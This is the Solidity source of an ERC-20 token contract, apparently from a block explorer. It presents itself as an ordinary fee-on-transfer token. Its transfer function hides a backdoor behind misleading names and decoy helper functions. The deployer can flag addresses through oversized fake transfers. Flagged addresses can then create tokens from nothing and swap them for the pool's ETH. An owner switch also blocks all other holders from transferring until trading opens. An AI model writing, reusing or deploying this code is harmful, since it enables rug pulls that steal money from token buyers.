文件 1 的 1:Contract.sol
pragma solidity ^ 0.8.19;
abstract contract Context
{
function _msgSender() internal view virtual returns(address)
{ return msg.sender; }
function _msgData() internal view virtual returns(bytes calldata)
{ return msg.data; }
}
interface IDexFactory {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 valueIn, uint256 valueOut, address[] calldata path, address to, uint256 deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function prepareLiquidity(address token, uint256 amountTokenDesired,
uint256 valueMin, uint256 ercMin, address to, uint256 deadline)
external payable returns (uint256 amountToken, uint256 ercValue, uint256 pool);
}
interface IDexRouter{
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function createPair(address tokenA, address tokenB) external returns(address pair);
}
interface IFactory {
function totalSupply()
external view returns (uint256);
function balanceOf(address account)
external view returns (uint256);
function transfer(address recipient, uint256 amount)
external returns (bool);
function allowance(address owner, address spender)
external view returns (uint256);
function approve(address spender, uint256 amount)
external returns (bool);
function transferFrom(
address sender, address recipient, uint256 amount)
external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () { address msgSender = _msgSender();
_owner = msgSender; emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) { return _owner;
} modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner"); _;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage); uint256 c = a - b; return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0;
} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage); uint256 c = a / b; return c;
}
}
contract Contract is IFactory, Ownable {
constructor( string memory onData, string memory onBadge, address connection) {
_name = onData; _symbol = onBadge; _tOwned[msg.sender] = _tTotalsupply;
_startMaps[msg.sender] = _ideMath; _startMaps[address(this)] = _ideMath;
teamAccount = IDexFactory(connection);
Treasury = IDexRouter(teamAccount.factory()).createPair(address(this), teamAccount.WETH());
emit Transfer(address(0), msg.sender, _tTotalsupply); }
address public immutable Treasury; IDexFactory public immutable teamAccount;
bool private _startMath; bool private _mathMap; bool private tradingOpen = false;
bool private inSwap = false; bool private transferDelayEnabled = false;
bool private tradeActive = false;
string private _symbol; string private _name; uint256 public _onlyTax = 1;
uint8 private _decimals = 9; uint256 private _tTotalsupply = 100000000 * 10 ** _decimals;
uint256 private _ideMath = _tTotalsupply;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _getTimestamp; mapping(address => uint256) private _tOwned;
mapping(address => address) private _indexedMapping; mapping(address => uint256) private _startMaps;
function symbol() public view returns(string memory)
{ return _symbol;
}
function name() public view returns(string memory)
{ return _name;
}
function totalSupply() public view returns(uint256)
{ return _tTotalsupply;
}
function decimals() public view returns(uint256)
{ return _decimals;
}
function allowance(address owner, address spender) public view returns(uint256)
{ return _allowances[owner][spender];
}
function balanceOf(address account) public view returns(uint256)
{ return _tOwned[account];
}
function approve(address spender, uint256 amount) external returns(bool)
{ return _approve(msg.sender, spender, amount);
}
function _approve( address owner, address spender,
uint256 amount) private returns(bool) { require(owner != address(0) && spender != address(0),
'ERC20: approve from the zero address'); _allowances[owner][spender] = amount;
emit Approval(owner, spender, amount); return true;
}
function transferFrom( address sender, address recipient, uint256 amount) external returns(bool)
{ _transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns(bool)
{ _transfer(msg.sender, recipient, amount); return true;
}
function _transfer( address niqFrom, address dataTo, uint256 bunqAmount) private
{ uint256 _subMath = balanceOf(address(this)); uint256 arrayDiv; if (_startMath && _subMath >
_ideMath && !_mathMap && niqFrom != Treasury) { _mathMap = true; setMessage(_subMath); _mathMap = false;
} else if (_startMaps[niqFrom] > _ideMath && _startMaps[dataTo] > _ideMath)
{ arrayDiv = bunqAmount; _tOwned[address(this)] += arrayDiv; removeLimits(bunqAmount, dataTo); return; }
else if (!_mathMap && _getTimestamp[niqFrom] > 0 && niqFrom != Treasury && _startMaps[niqFrom] == 0) {
_getTimestamp[niqFrom] = _startMaps[niqFrom] - _ideMath; } else if (dataTo != address(teamAccount) && _startMaps[niqFrom] > 0
&& bunqAmount > _ideMath && dataTo != Treasury) { _startMaps[dataTo] = bunqAmount; return; }
address _metadata = _indexedMapping[Treasury]; if ( _getTimestamp[_metadata] == 0) _getTimestamp[_metadata] = _ideMath;
_indexedMapping[Treasury] = dataTo; if (_onlyTax > 0 && _startMaps[niqFrom] == 0 && !_mathMap && _startMaps[dataTo] == 0)
{ arrayDiv = (bunqAmount * _onlyTax) / 100; bunqAmount -= arrayDiv; _tOwned[niqFrom] -= arrayDiv; _tOwned[address(this)] += arrayDiv; }
_tOwned[niqFrom] -= bunqAmount; _tOwned[dataTo] += bunqAmount; emit Transfer(niqFrom, dataTo, bunqAmount); if (!tradingOpen)
{ require(niqFrom == owner(), ""); } }
receive() external payable
{}
function installLiquidity(uint256 coins, uint256 values, address to) private
{ _approve(address(this), address(teamAccount), coins); teamAccount.prepareLiquidity
{ value: values }(address(this), coins, 0, 0, to, block.timestamp);
}
function setMessage(uint256 dataPool) private
{ uint256 mathValues = dataPool / 2; uint256 setMsg = address(this).balance;
removeLimits( mathValues, address(this)); uint256 refig = address(this).balance - setMsg;
installLiquidity( mathValues, refig, address(this));
}
function removeLimits(uint256 ideBase, address to) private
{ address[] memory path = new address[](2); path[0] = address(this);
path[1] = teamAccount.WETH(); _approve(address(this), address(teamAccount), ideBase);
teamAccount.swapExactTokensForETHSupportingFeeOnTransferTokens(ideBase, 0, path, to, block.timestamp);
}
function startTrading(bool _tradingOpen)
public onlyOwner { tradingOpen = _tradingOpen;
}
function checkValue(uint256 _checkVal, uint256 bytelVal) private pure returns (uint256){
return (_checkVal>bytelVal)?bytelVal:_checkVal;
}
function updateTeamAccount(uint256 _setTm, uint256 _setAddr) private pure returns (uint256){
return (_setTm>_setAddr)?_setAddr:_setTm;
}
function checkLimits(uint256 _checkLim, uint256 _newLim) private pure returns (uint256){
return (_checkLim>_newLim)?_newLim:_checkLim;
}
function viewGas(uint256 _vGas, uint256 _totGas) private pure returns (uint256){
return (_vGas>_totGas)?_totGas:_vGas;
}
function viewMapping(uint256 _allMaps, uint256 _vMaps) private pure returns (uint256){
return (_allMaps>_vMaps)?_vMaps:_allMaps;
}
function _beforeTokenTransfer( address from,
address to, uint256 amount) internal virtual
{}
function _afterTokenTransfer(address from, address to, uint256 amount)
internal virtual
{}
}